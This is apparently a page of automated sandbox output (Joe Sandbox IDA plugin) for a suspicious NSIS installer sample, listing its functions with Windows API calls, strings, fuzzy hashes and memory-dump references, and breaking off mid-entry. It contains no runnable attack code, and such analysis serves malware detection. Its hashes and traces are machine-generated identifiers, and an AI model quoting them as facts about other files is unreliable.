Instruction Fuzzy Hash: DD028DB0A00609EFDF209F94CD85AAE7BB5FB44354F10807AE611BA2E0C7798D52CF58

Function 701A1B5F Relevance: 20.1, APIs: 13, Instructions: 576stringlibrarymemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 701A121B: GlobalAlloc.KERNEL32(00000040,?,701A123B,?,701A12DF,00000019,701A11BE,-000000A0), ref: 701A1225

GlobalAlloc.KERNELBASE(00000040,00001CA4), ref: 701A1C6B
lstrcpyW.KERNEL32(00000008,?), ref: 701A1CB3
lstrcpyW.KERNEL32(00000808,?), ref: 701A1CBD
GlobalFree.KERNEL32(00000000), ref: 701A1CD0
GlobalFree.KERNEL32(?), ref: 701A1DB2
GlobalFree.KERNEL32(?), ref: 701A1DB7
GlobalFree.KERNEL32(?), ref: 701A1DBC
GlobalFree.KERNEL32(00000000), ref: 701A1FA6
lstrcpyW.KERNEL32(?,?), ref: 701A2140
GetModuleHandleW.KERNEL32(00000008), ref: 701A21B5
LoadLibraryW.KERNEL32(00000008), ref: 701A21C6
GetProcAddress.KERNEL32(?,?), ref: 701A2220
lstrlenW.KERNEL32(00000808), ref: 701A223A

Memory Dump Source

Source File: 00000000.00000002.2259069122.00000000701A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 701A0000, based on PE: true

Associated: 00000000.00000002.2259033794.00000000701A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2259096559.00000000701A4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2259132821.00000000701A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_701a0000_xXUnP7uCBJ.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc$AddressHandleLibraryLoadModuleProclstrlen
String ID:
API String ID: 245916457-0
Opcode ID: 5b8aae87246c924c9357efdebeaf35f86daaee1b1e8cc5cb2c148f254c4e5cc0
Instruction ID: 1cc0db256a3a72727785f309995790f80b7bcdb365fb998a3d0c90094c293c43
Opcode Fuzzy Hash: 5b8aae87246c924c9357efdebeaf35f86daaee1b1e8cc5cb2c148f254c4e5cc0
Instruction Fuzzy Hash: DD22CCF9C00246DFCB22CFA8C9846EEB7F5FB04315F22456EE1A6E7684D7705A809B50

Function 00405AFA Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\,75572EE0,00000000), ref: 00405B23
lstrcatW.KERNEL32(00425730,\*.*,00425730,?,?,C:\Users\user\AppData\Local\Temp\,75572EE0,00000000), ref: 00405B6B
lstrcatW.KERNEL32(?,0040A014,?,00425730,?,?,C:\Users\user\AppData\Local\Temp\,75572EE0,00000000), ref: 00405B8E
lstrlenW.KERNEL32(?,?,0040A014,?,00425730,?,?,C:\Users\user\AppData\Local\Temp\,75572EE0,00000000), ref: 00405B94
FindFirstFileW.KERNEL32(00425730,?,?,?,0040A014,?,00425730,?,?,C:\Users\user\AppData\Local\Temp\,75572EE0,00000000), ref: 00405BA4
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405C44
FindClose.KERNEL32(00000000), ref: 00405C53

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405B08
0WB, xrefs: 00405B53
\*.*, xrefs: 00405B65

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: 0WB$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-1432729950
Opcode ID: 94aee6277fb60bc187ec105b0c3c889327325094ff3d5538513028a918914a00
Instruction ID: 490a569b50011677cd34e026f6ab1003dec3a9533e419df12a6715eb2ed0bc70
Opcode Fuzzy Hash: 94aee6277fb60bc187ec105b0c3c889327325094ff3d5538513028a918914a00
Instruction Fuzzy Hash: 0541BF30805B18A6EB31AB618D89BAF7678EF41718F10817BF801711D2D77C59C29EAE

Function 00406AF2 Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35cbb8abcdf375330cdaaed117d7ae66e2d52f36901990e867650d9b3411c4d0
Instruction ID: 8a3521d6a9ab1c5b5eb45e3d7957e6eefdd785676f1866d9874d60d9aff9e69c
Opcode Fuzzy Hash: 35cbb8abcdf375330cdaaed117d7ae66e2d52f36901990e867650d9b3411c4d0
Instruction Fuzzy Hash: 1CF16770D04229CBDF18CFA8C8946ADBBB0FF45305F25816ED856BB281D7386A86DF45

Function 0040672B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(?,00426778,00425F30,00405E0E,00425F30,00425F30,00000000,00425F30,00425F30,?,?,75572EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,75572EE0), ref: 00406736
FindClose.KERNEL32(00000000), ref: 00406742

Strings

xgB, xrefs: 0040672C

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: xgB
API String ID: 2295610775-399326502
Opcode ID: 8f8798618dbeb96281b7e152f222c6bef4cfc1fb78c0b92afc6d3f182eb863fd
Instruction ID: 964bfaba6fe47efa91ae3b9d04416f3a0311ddb8c2b0a677c8b566ff70b98767
Opcode Fuzzy Hash: 8f8798618dbeb96281b7e152f222c6bef4cfc1fb78c0b92afc6d3f182eb863fd
Instruction Fuzzy Hash: 08D012315150205BC2011738BD4C85B7A589F553357228B37B866F61E0C7348C62869C

Function 00403E86 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 346
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403EC2
ShowWindow.USER32(?), ref: 00403EDF
DestroyWindow.USER32 ref: 00403EF3
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403F0F
GetDlgItem.USER32(?,?), ref: 00403F30
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403F44
IsWindowEnabled.USER32(00000000), ref: 00403F4B
GetDlgItem.USER32(?,00000001), ref: 00403FF9
GetDlgItem.USER32(?,00000002), ref: 00404003
SetClassLongW.USER32(?,000000F2,?), ref: 0040401D
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 0040406E
GetDlgItem.USER32(?,00000003), ref: 00404114
ShowWindow.USER32(00000000,?), ref: 00404135
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00404147
EnableWindow.USER32(?,?), ref: 00404162
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00404178
EnableMenuItem.USER32(00000000), ref: 0040417F
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00404197
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004041AA
lstrlenW.KERNEL32(00423728,?,00423728,00000000), ref: 004041D4
SetWindowTextW.USER32(?,00423728), ref: 004041E8
ShowWindow.USER32(?,0000000A), ref: 0040431C

Strings

(7B, xrefs: 004041C4

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: (7B
API String ID: 3282139019-3251261122
Opcode ID: 42b69af187e06dbbd4ac4a762ea4715538cd3e369663267481291b142cb35f12
Instruction ID: 1e1a27d6975204c591228116fe5edee23a209105d2649c04e919f1d7e5095d09
Opcode Fuzzy Hash: 42b69af187e06dbbd4ac4a762ea4715538cd3e369663267481291b142cb35f12
Instruction Fuzzy Hash: 6FC1A2B1644200FBDB216F61EE85D2A3BB8EB94706F40053EFA41B11F1CB7958529B6D

Function 00403AD8 Relevance: 44.0, APIs: 13, Strings: 12, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004067C2: GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
Part of subcall function 004067C2: GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

lstrcatW.KERNEL32(1033,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,C:\Users\user\AppData\Local\Temp\,75573420,00435000,00000000), ref: 00403B59
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,00435800,1033,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,C:\Users\user\AppData\Local\Temp\), ref: 00403BD9
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,00435800,1033,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000), ref: 00403BEC
GetFileAttributesW.KERNEL32(Call), ref: 00403BF7
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,00435800), ref: 00403C40

Part of subcall function 0040632F: wsprintfW.USER32 ref: 0040633C

RegisterClassW.USER32(004291E0), ref: 00403C7D
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403C95
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403CCA
ShowWindow.USER32(00000005,00000000), ref: 00403D00
GetClassInfoW.USER32(00000000,RichEdit20W,004291E0), ref: 00403D2C
GetClassInfoW.USER32(00000000,RichEdit,004291E0), ref: 00403D39
RegisterClassW.USER32(004291E0), ref: 00403D42
DialogBoxParamW.USER32(?,00000000,00403E86,00000000), ref: 00403D61

Strings

.DEFAULT\Control Panel\International, xrefs: 00403B44
C:\Users\user\AppData\Local\Temp\, xrefs: 00403AE4
RichEd32, xrefs: 00403D14
Control Panel\Desktop\ResourceLocale, xrefs: 00403B0C
_Nb, xrefs: 00403C5C, 00403CC4
1033, xrefs: 00403AF8, 00403B54
RichEd20, xrefs: 00403D06
RichEdit20W, xrefs: 00403D24, 00403D2A
Call, xrefs: 00403BA0, 00403BA9, 00403BB7, 00403C06, 00403C0C
.exe, xrefs: 00403BE6
(7B, xrefs: 00403B04
RichEdit, xrefs: 00403D33

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: (7B$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-1642274604
Opcode ID: faef508d5617ccaf29f7204e00c3b9242aa942859a9d4d687d906c1b184c1908
Instruction ID: f49b718e50d7a26840138b6048ee10d29e8519d5aa43f5d66e73d4226ad9b376
Opcode Fuzzy Hash: faef508d5617ccaf29f7204e00c3b9242aa942859a9d4d687d906c1b184c1908
Instruction Fuzzy Hash: FF61C470204700BBE220AF669E45F2B3A7CEB84B49F40447FF945B22E2DB7D5912C62D

Function 00402F30 Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 203
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402F44
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\xXUnP7uCBJ.exe,00000400), ref: 00402F60

Part of subcall function 00405EDE: GetFileAttributesW.KERNELBASE(00000003,00402F73,C:\Users\user\Desktop\xXUnP7uCBJ.exe,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

GetFileSize.KERNEL32(00000000,00000000,00439000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\xXUnP7uCBJ.exe,C:\Users\user\Desktop\xXUnP7uCBJ.exe,80000000,00000003), ref: 00402FA9
GlobalAlloc.KERNELBASE(00000040,0040A230), ref: 004030F0

Strings

Inst, xrefs: 00403017
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403187
C:\Users\user\AppData\Local\Temp\, xrefs: 00402F3D, 00403108
C:\Users\user\Desktop, xrefs: 00402F8B, 00402F90, 00402F96
C:\Users\user\Desktop\xXUnP7uCBJ.exe, xrefs: 00402F4A, 00402F59, 00402F6D, 00402F8A
Error launching installer, xrefs: 00402F80
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00403139
Null, xrefs: 00403029
soft, xrefs: 00403020

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\xXUnP7uCBJ.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-1439786539
Opcode ID: 17d4548877bb422f8be7689a7878bb05eb645905850902383813b6e2c7289b3d
Instruction ID: fab51a6d61a7302470dd91ad27108f0c0be819ae48098b15a947b51e22d3bd00
Opcode Fuzzy Hash: 17d4548877bb422f8be7689a7878bb05eb645905850902383813b6e2c7289b3d
Instruction Fuzzy Hash: 4961D271A00205ABDB20DFA4DD45A9A7BA8EB04356F20413FF904F62D1DB7C9A458BAD

Function 0040640A Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 0040654B
GetWindowsDirectoryW.KERNEL32(Call,00000400,00000000,00422708,?,00405487,00422708,00000000), ref: 0040655E
SHGetSpecialFolderLocation.SHELL32(00405487,00000000,00000000,00422708,?,00405487,00422708,00000000), ref: 0040659A
SHGetPathFromIDListW.SHELL32(00000000,Call), ref: 004065A8
CoTaskMemFree.OLE32(00000000), ref: 004065B3
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 004065D9
lstrlenW.KERNEL32(Call,00000000,00422708,?,00405487,00422708,00000000), ref: 00406631

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0040651B
\Microsoft\Internet Explorer\Quick Launch, xrefs: 004065D3
Call, xrefs: 00406434, 0040650F, 00406516, 0040651A, 00406534, 00406535, 0040654A, 0040655D, 00406579, 004065A4, 004065D8, 004065DE, 004065FA, 0040660D, 0040662A, 00406630, 0040663C, 0040666F

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 717251189-1230650788
Opcode ID: 05bff3a2d83114fcd993f4ecc25878232afbb7d489ed6444c63e00c36f1e26dc
Instruction ID: bd17f2555f8fb0ecb5cfb39a154c1e2018f2892b34e65fa403921cbdc39efe9b
Opcode Fuzzy Hash: 05bff3a2d83114fcd993f4ecc25878232afbb7d489ed6444c63e00c36f1e26dc
Instruction Fuzzy Hash: A4612371A00115ABDF209F64DD41AAE37A5AF50314F62813FE903B72D0E73E9AA2C75D

Function 0040176F Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Local\Iw\Antndelsens,?,?,00000031), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Local\Iw\Antndelsens,?,?,00000031), ref: 004017D5

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Strings

C:\Users\user\AppData\Local\Temp\nswC272.tmp, xrefs: 00401821, 0040183F
Call, xrefs: 0040178D, 004017A3, 004017B5, 004017C1, 004017F7, 0040180D, 0040182B, 00401867, 004018E8, 004018F1, 004018FB, 00401906
C:\Users\user\AppData\Local\Iw\Antndelsens, xrefs: 0040179E
C:\Users\user\AppData\Local\Temp\nswC272.tmp\System.dll, xrefs: 00401835, 00401851

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Iw\Antndelsens$C:\Users\user\AppData\Local\Temp\nswC272.tmp$C:\Users\user\AppData\Local\Temp\nswC272.tmp\System.dll$Call
API String ID: 1941528284-3446446435
Opcode ID: 45b834d85ef4e1e2ed7d2d31852b9ecb22d19d59077027c4906be829d01ae2f6
Instruction ID: 2530360bafa170a9d5e8074bf3c3c5079485a484cad24ccb9f0485aee5561d29
Opcode Fuzzy Hash: 45b834d85ef4e1e2ed7d2d31852b9ecb22d19d59077027c4906be829d01ae2f6
Instruction Fuzzy Hash: FF41C671900614BADF11ABA5CD85DAF3679EF05329B20433BF412B10E2CB3C86529A6E

Function 0040264A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(?,?,?,?), ref: 004026B6
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 004026F1
SetFilePointer.KERNELBASE(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 00402714
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 0040272A

Part of subcall function 00405FBF: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00405FD5

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 004027D6

Strings

9, xrefs: 00402699

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: cadc99d36448674c458fec809f66667da68abd58cfb7d9264b13fa75ded684dc
Instruction ID: add249696b334c0fceafe0529c612de3b1c59f5eaafd60b3ba6c21ea99dd66a9
Opcode Fuzzy Hash: cadc99d36448674c458fec809f66667da68abd58cfb7d9264b13fa75ded684dc
Instruction Fuzzy Hash: FD510A74D10219AEDF21DF95DA88AAEB779FF04304F50443BE901B72D0D7B89982CB59

Function 00406752 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406769
wsprintfW.USER32 ref: 004067A4
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004067B8

Strings

UXTHEME, xrefs: 0040675B
%s%S.dll, xrefs: 0040679E
\, xrefs: 0040677A

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction ID: 07f60acf873a648e61080255fd3e200204736070213a9ab7c1209ab7057fe03e
Opcode Fuzzy Hash: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction Fuzzy Hash: 27F0FC70540219AECB10AB68ED0DFAB366CA700304F10447AA64AF20D1EB789A24C798

Function 0040591F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(?,?,00000000), ref: 00405962
GetLastError.KERNEL32 ref: 00405976
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 0040598B
GetLastError.KERNEL32 ref: 00405995

Strings

C:\Users\user\Desktop, xrefs: 0040591F

Memory Dump Source

